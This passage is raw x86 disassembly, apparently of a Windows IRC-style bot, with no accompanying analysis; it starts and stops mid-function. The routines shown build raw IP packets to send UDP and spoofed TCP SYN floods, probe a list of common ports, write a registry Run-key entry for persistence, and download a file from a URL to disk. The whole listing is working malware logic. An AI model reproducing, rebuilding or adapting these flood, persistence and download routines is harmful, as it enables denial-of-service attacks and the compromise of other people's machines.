sub_406DA5+72j push [ebp+var_8] call dword_4273AC ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_406DA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406FF0 proc near ; DATA XREF: sub_40997B+17B2o var_414 = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_407067 add esp, 214h push eax lea eax, [ebp+var_414] push offset unk_41F4AC push eax call sub_40EE10 lea eax, [ebp+var_414] push eax call sub_407A4E push [ebp+var_10] call sub_40E4F2 add esp, 14h push 0 call dword_41A084 ; ExitThread sub_406FF0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407067 proc near ; CODE XREF: sub_406FF0+3Bp var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_427394 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_4070A5 lea eax, [ebp+var_254] push offset unk_41F6FC push eax call sub_40EE10 pop ecx xor edi, edi pop ecx jmp loc_40736E ; --------------------------------------------------------------------------- loc_4070A5: ; CODE XREF: sub_407067+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4272F4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4070D1 call dword_4272A8 ; WSAGetLastError push eax push offset dword_41F6A4 jmp short loc_4070EC ; --------------------------------------------------------------------------- loc_4070D1: ; CODE XREF: sub_407067+5Aj lea eax, [ebp+arg_4] push eax call dword_427354 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_407100 call dword_4272A8 ; WSAGetLastError push eax push offset dword_41F654 loc_4070EC: ; CODE XREF: sub_407067+68j lea eax, [ebp+var_254] push eax call sub_40EE10 add esp, 0Ch jmp loc_40736E ; --------------------------------------------------------------------------- loc_407100: ; CODE XREF: sub_407067+77j push edi mov [ebp+var_24], 2 call dword_427314 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_41A1B0 ; inet_addr mov esi, dword_41A090 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset dword_41F618 push eax call sub_40EE10 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_407169 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_4084CC add esp, 14h loc_407169: ; CODE XREF: sub_407067+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_40FB66 cmp esi, eax pop ecx ja loc_407324 mov esi, 41Ch jmp short loc_40719D ; --------------------------------------------------------------------------- loc_407198: ; CODE XREF: sub_407067+2B7j mov ebx, 0FFh loc_40719D: ; CODE XREF: sub_407067+12Fj cmp dword_4280D8, edi jnz short loc_4071F7 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call dword_4272B8 ; getsockname push ebx push 1 call sub_40DE3E pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset dword_41E35C push eax call sub_40EE10 add esp, 18h jmp short loc_407207 ; --------------------------------------------------------------------------- loc_4071F7: ; CODE XREF: sub_407067+13Cj lea eax, [ebp+var_54] push offset dword_427AB8 push eax call sub_40ED20 pop ecx pop ecx loc_407207: ; CODE XREF: sub_407067+18Ej push esi mov byte_427CB8, 45h call dword_427314 ; htons mov word_427CBA, ax lea eax, [ebp+var_54] push eax mov word_427CBC, 1 mov word_427CBE, di mov byte_427CC0, 80h mov byte_427CC1, 11h mov word_427CC2, di call dword_427354 ; inet_addr mov dword_427CC4, eax mov eax, [ebp+var_20] mov dword_427CC8, eax lea eax, [ebp+arg_84] push eax mov word_427CD2, di call sub_40FB66 test eax, eax pop ecx jnz short loc_40727F call sub_410198 cdq mov ecx, 401h idiv ecx push edx jmp short loc_40728D ; --------------------------------------------------------------------------- loc_40727F: ; CODE XREF: sub_407067+206j lea eax, [ebp+arg_84] push eax call sub_40FB66 pop ecx push eax loc_40728D: ; CODE XREF: sub_407067+216j call dword_427314 ; htons mov word_427CCE, ax call sub_410198 cdq mov ecx, 401h push 408h idiv ecx mov word_427CCC, dx call dword_427314 ; htons push 400h mov word_427CD0, ax call sub_410198 cdq idiv ebx push edx push offset dword_427CD4 call sub_40E800 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_427CB8 push [ebp+var_C] call dword_427378 ; sendto cmp eax, 0FFFFFFFFh jz loc_40739D inc [ebp+var_4] call dword_41A090 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_40FB66 cmp ebx, eax pop ecx jbe loc_407198 loc_407324: ; CODE XREF: sub_407067+124j push [ebp+var_C] call dword_4273AC ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_40FB66 pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset dword_41F598 loc_40735F: ; CODE XREF: sub_407067+34Aj lea eax, [ebp+var_254] push eax call sub_40EE10 add esp, 18h loc_40736E: ; CODE XREF: sub_407067+39j ; sub_407067+94j cmp [ebp+arg_20C], edi jnz short loc_407396 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_4084CC add esp, 14h loc_407396: ; CODE XREF: sub_407067+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_40739D: ; CODE XREF: sub_407067+28Bj push [ebp+var_4] push esi call dword_4272A8 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset dword_41F4F0 jmp short loc_40735F sub_407067 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4073B3 proc near ; DATA XREF: sub_40997B+3541o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_40FB66 pop ecx push eax lea eax, [ebp+var_190] push eax call sub_40FB66 pop ecx push eax lea eax, [ebp+var_210] push eax call dword_427354 ; inet_addr push eax call sub_407550 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_41F730 push eax call sub_40EE10 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_407448 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_4084CC add esp, 14h loc_407448: ; CODE XREF: sub_4073B3+73j lea eax, [ebp+var_414] push eax call sub_407A4E push [ebp+var_10] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_4073B3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407467 proc near ; CODE XREF: sub_407550+194p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_407490 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41A1B8 ; connect jmp loc_40754C ; --------------------------------------------------------------------------- loc_407490: ; CODE XREF: sub_407467+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call dword_41A1A0 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4272BC ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4272FC ; select test eax, eax jnz short loc_4074F4 or eax, 0FFFFFFFFh jmp short loc_40754C ; --------------------------------------------------------------------------- loc_4074F4: ; CODE XREF: sub_407467+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_4074FF loc_4074FB: ; CODE XREF: sub_407467+B8j ; sub_407467+DCj mov eax, edi jmp short loc_40754C ; --------------------------------------------------------------------------- loc_4074FF: ; CODE XREF: sub_407467+92j lea eax, [ebp+var_10C] push eax push esi call sub_419A30 ; __WSAFDIsSet test eax, eax jnz short loc_407521 lea eax, [ebp+var_210] push eax push esi call sub_419A30 ; __WSAFDIsSet test eax, eax jz short loc_4074FB loc_407521: ; CODE XREF: sub_407467+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_41A190 ; getsockopt cmp eax, edi jz short loc_4074FB mov eax, [ebp+var_4] neg eax sbb eax, eax loc_40754C: ; CODE XREF: sub_407467+24j ; sub_407467+8Bj ... pop edi pop esi leave retn sub_407467 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407550 proc near ; CODE XREF: sub_4073B3+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop eax xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], eax call dword_41A18C ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_428148, eax call dword_4272F4 ; setsockopt mov esi, dword_41A090 call esi ; GetTickCount push eax call sub_41018E pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_407696: ; CODE XREF: sub_407550+1C1j mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_427314 ; htons push ebx push 1 push 2 mov [ebp+var_9A], ax call dword_427394 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_407467 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4273AC ; closesocket cmp [ebp+var_8], ebx jnz short loc_407709 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_407709: ; CODE XREF: sub_407550+1ABj add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_407696 mov edi, offset dword_42814C push offset dword_41F770 push edi call sub_40EE10 pop ecx pop ecx call esi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_407736: ; CODE XREF: sub_407550+23Cj call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_40778E mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_407767 push eax push edi push offset dword_41F768 push edi mov [ebp+var_10], eax call sub_40EE10 add esp, 10h jmp short loc_407781 ; --------------------------------------------------------------------------- loc_407767: ; CODE XREF: sub_407550+200j push 0FFFFh push ebx call sub_40DE3E pop ecx pop ecx push eax call dword_427314 ; htons movzx eax, ax mov [ebp+var_10], eax loc_407781: ; CODE XREF: sub_407550+215j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_407736 loc_40778E: ; CODE XREF: sub_407550+1F7j ; sub_407550+477j push 28h push ebx push offset byte_4280E8 call sub_40E800 mov esi, 0FFFFh mov byte_4280E8, 45h push esi push 400h mov byte_4280F1, 6 mov byte_4280E9, 8 call sub_40DE3E add esp, 14h push eax call dword_427314 ; htons push 28h mov word_4280EC, ax call dword_427314 ; htons or byte_4280F0, 0FFh cmp dword_4280D8, ebx mov word_4280EA, ax mov word_4280EE, bx jnz short loc_40780E push 0FFFEh push 1 call sub_40DE3E pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_407819 ; --------------------------------------------------------------------------- loc_40780E: ; CODE XREF: sub_407550+2A2j push offset dword_427AB8 call dword_427354 ; inet_addr loc_407819: ; CODE XREF: sub_407550+2BCj mov dword_4280F4, eax mov eax, [ebp+arg_0] push 4000h mov dword_4280F8, eax mov byte_428109, bl call dword_427314 ; htons push esi push ebx mov word_42810A, ax call sub_40DE3E mov edi, eax push esi push ebx shl edi, 8 call sub_40DE3E add esp, 10h add edi, eax push edi call dword_427310 ; htonl mov dword_428100, eax mov al, byte_428108 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_428108, al mov ax, word ptr [ebp+var_10] mov dword_428104, ebx mov word_42810E, bx mov word_4280FE, ax mov dword_428124, edi mov byte_428128, bl mov byte_428129, 6 call dword_427314 ; htons mov word_42812A, ax mov ax, word_4280FE mov word_428110, 2 mov dword_428114, edi mov word_428112, ax mov [ebp+var_4], ebx jmp short loc_4078CF ; --------------------------------------------------------------------------- loc_4078CA: ; CODE XREF: sub_407550+451j mov esi, 0FFFFh loc_4078CF: ; CODE XREF: sub_407550+378j cmp [ebp+var_4], ebx jnz short loc_407903 push esi push ebx call sub_40DE3E pop ecx pop ecx push eax call dword_427314 ; htons mov word_4280FC, ax mov eax, dword_4280F4 mov dword_428120, eax mov byte_428109, 2 mov dword_428104, ebx jmp short loc_407922 ; --------------------------------------------------------------------------- loc_407903: ; CODE XREF: sub_407550+382j push esi push ebx mov byte_428109, 10h call sub_40DE3E pop ecx pop ecx push eax call dword_427314 ; htons movzx eax, ax mov dword_428104, eax loc_407922: ; CODE XREF: sub_407550+3B1j inc word_4280EC inc dword_428100 mov ax, word_4280FE push 5 pop ecx mov esi, offset word_4280FC mov edi, offset dword_42812C mov word_4280F2, bx mov word_42810C, bx push 14h rep movsd mov esi, offset byte_4280E8 mov word_428112, ax push esi call sub_404F93 push 20h push offset dword_428120 mov word_4280F2, ax call sub_404F93 add esp, 10h mov word_42810C, ax push 10h push offset word_428110 push ebx push 28h push esi push dword_428148 call dword_427378 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_4078CA call dword_41A090 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4079CC push [ebp+arg_8] call dword_41A060 ; Sleep jmp loc_40778E ; --------------------------------------------------------------------------- loc_4079CC: ; CODE XREF: sub_407550+46Cj pop edi pop esi mov eax, offset dword_42814C pop ebx leave retn sub_407550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079D6 proc near ; CODE XREF: sub_40997B+3D02p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_41F788 push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC add esp, 14h xor edi, edi mov esi, offset dword_42C558 loc_407A00: ; CODE XREF: sub_4079D6+72j cmp byte ptr [esi], 0 jz short loc_407A3B lea eax, [esi+18h] push eax push esi push edi push offset dword_41F774 lea eax, [ebp+var_200] push 200h push eax call sub_40E7AB push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC add esp, 2Ch loc_407A3B: ; CODE XREF: sub_4079D6+2Dj add esi, 0B8h inc edi cmp esi, offset dword_42D0D8 jl short loc_407A00 pop edi pop esi leave retn sub_4079D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A4E proc near ; CODE XREF: .packed:00402C1Ep ; sub_402C55+575p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_41A0F0 ; GetLocalTime mov ebx, offset dword_42C54C mov edi, 80h mov esi, offset dword_42854C loc_407A70: ; CODE XREF: sub_407A4E+3Dj cmp byte ptr [ebx], 0 jz short loc_407A87 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_410090 add esp, 0Ch loc_407A87: ; CODE XREF: sub_407A4E+25j sub ebx, edi cmp ebx, esi jge short loc_407A70 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_40E7AB add esp, 28h pop edi pop esi pop ebx leave retn sub_407A4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AC2 proc near ; CODE XREF: sub_4095BB+DEp ; sub_40997B:loc_409F0Dp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_410704 lea eax, [ebp+var_80] push eax call sub_407A4E add esp, 14h leave retn sub_407AC2 endp ; =============== S U B R O U T I N E ======================================= sub_407AEE proc near ; CODE XREF: sub_40997B+3BFEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_42854C xor ecx, ecx loc_407AF5: ; CODE XREF: sub_407AEE+13j mov [eax], cl add eax, 80h cmp eax, offset dword_42C54C jl short loc_407AF5 cmp [esp+arg_C], ecx push esi mov esi, offset dword_41F7C8 jnz short loc_407B25 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_4084CC add esp, 14h loc_407B25: ; CODE XREF: sub_407AEE+1Fj push esi call sub_407A4E pop ecx pop esi retn sub_407AEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B2E proc near ; DATA XREF: sub_40997B+3CAEo var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_407B81 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_41F810 push eax push [ebp+var_11C] call sub_4084CC add esp, 14h loc_407B81: ; CODE XREF: sub_407B2E+33j cmp [ebp+var_98], 0 jz short loc_407BA1 lea eax, [ebp+var_98] push eax call sub_40FB66 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_407BA1 mov [ebp+var_8], eax loc_407BA1: ; CODE XREF: sub_407B2E+5Aj ; sub_407B2E+6Ej and [ebp+arg_0], 0 mov esi, offset dword_42854C loc_407BAA: ; CODE XREF: sub_407B2E+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_407C04 cmp byte ptr [esi], 0 jz short loc_407BF3 cmp [ebp+var_98], 0 jz short loc_407BD9 cmp [ebp+var_4], 0 jnz short loc_407BD9 lea eax, [ebp+var_98] push eax push esi call sub_404A4A pop ecx test eax, eax pop ecx jz short loc_407BF3 loc_407BD9: ; CODE XREF: sub_407B2E+90j ; sub_407B2E+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_4084CC add esp, 14h loc_407BF3: ; CODE XREF: sub_407B2E+87j ; sub_407B2E+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_42C54C jl short loc_407BAA loc_407C04: ; CODE XREF: sub_407B2E+82j lea eax, [ebp+var_31C] push offset unk_41F7E8 push eax call sub_40EE10 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_407C3E push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_4084CC add esp, 14h loc_407C3E: ; CODE XREF: sub_407B2E+EEj lea eax, [ebp+var_31C] push eax call sub_407A4E push [ebp+var_18] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_407B2E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C5D proc near ; CODE XREF: sub_404CE2+1Ep ; sub_409034+368p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_41F830 xor esi, esi mov ebx, offset aInternet ; "Internet" loc_407C70: ; CODE XREF: sub_407C5D+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4272C8 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_407CAA push [ebp+arg_0] call sub_40E730 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_427338 ; RegSetValueExA jmp short loc_407CB4 ; --------------------------------------------------------------------------- loc_407CAA: ; CODE XREF: sub_407C5D+2Fj push ebx push [ebp+var_4] call dword_427280 ; RegDeleteValueA loc_407CB4: ; CODE XREF: sub_407C5D+4Bj push [ebp+var_4] call dword_4272F0 ; RegCloseKey add edi, 8 cmp edi, offset dword_41F848 jb short loc_407C70 pop edi pop esi pop ebx leave retn sub_407C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CCD proc near ; DATA XREF: sub_40997B+1CA8o ; sub_40997B+1E33o var_5C4 = qword ptr -5C4h var_5B8 = qword ptr -5B8h var_58C = qword ptr -58Ch var_580 = qword ptr -580h var_50C = byte ptr -50Ch var_30C = dword ptr -30Ch var_300 = dword ptr -300h var_2E0 = dword ptr -2E0h var_2DC = word ptr -2DCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_244 = byte ptr -244h var_144 = byte ptr -144h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 50Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_2C8] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A0h], edi push esi push esi lea eax, [ebp+var_244] push esi push eax push dword_4272C4 call dword_427224 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_408175 push esi push esi push 2 push esi push esi lea eax, [ebp+var_144] push 40000000h push eax call dword_41A074 ; CreateFileA cmp eax, edi mov [ebp+var_14], eax jnb short loc_407D94 lea eax, [ebp+var_144] push eax lea eax, [ebp+var_50C] push offset dword_41FAAC push eax call sub_40EE10 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_407D77 push esi lea eax, [ebp+var_50C] push [ebp+var_2C] push eax lea eax, [ebp+var_2C4] push eax push [ebp+var_2C8] call sub_4084CC add esp, 14h loc_407D77: ; CODE XREF: sub_407CCD+88j lea eax, [ebp+var_50C] push eax call sub_407A4E push [ebp+var_44] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread loc_407D94: ; CODE XREF: sub_407CCD+68j xor edi, edi call dword_41A090 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_40E882 pop ecx mov [ebp+var_20], eax loc_407DAE: ; CODE XREF: sub_407CCD+1B4j push 200h lea eax, [ebp+var_50C] push esi push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_50C] push 200h push eax push [ebp+var_18] call dword_42722C ; InternetReadFile cmp [ebp+var_34], esi jz short loc_407DF2 push [ebp+arg_0] lea eax, [ebp+var_50C] push eax call sub_4081DB pop ecx pop ecx loc_407DF2: ; CODE XREF: sub_407CCD+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_50C] push [ebp+arg_0] push eax push [ebp+var_14] call dword_41A06C ; WriteFile cmp edi, ebx jnb short loc_407E30 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_407E1A mov eax, [ebp+arg_0] loc_407E1A: ; CODE XREF: sub_407CCD+148j push eax lea eax, [ebp+var_50C] push eax mov eax, [ebp+var_20] add eax, edi push eax call sub_40E940 add esp, 0Ch loc_407E30: ; CODE XREF: sub_407CCD+13Fj add edi, [ebp+arg_0] cmp [ebp+var_38], esi jz short loc_407E3D cmp edi, [ebp+var_38] ja short loc_407E87 loc_407E3D: ; CODE XREF: sub_407CCD+169j cmp [ebp+var_40], 1 mov eax, edi jz short loc_407E57 shr eax, 0Ah push eax lea eax, [ebp+var_244] push eax push offset unk_41FA64 jmp short loc_407E67 ; --------------------------------------------------------------------------- loc_407E57: ; CODE XREF: sub_407CCD+176j shr eax, 0Ah push eax lea eax, [ebp+var_244] push eax push offset dword_41FA24 loc_407E67: ; CODE XREF: sub_407CCD+188j mov eax, [ebp+var_44] imul eax, 234h add eax, offset dword_42D0D8 push eax call sub_40EE10 add esp, 10h cmp [ebp+arg_0], esi ja 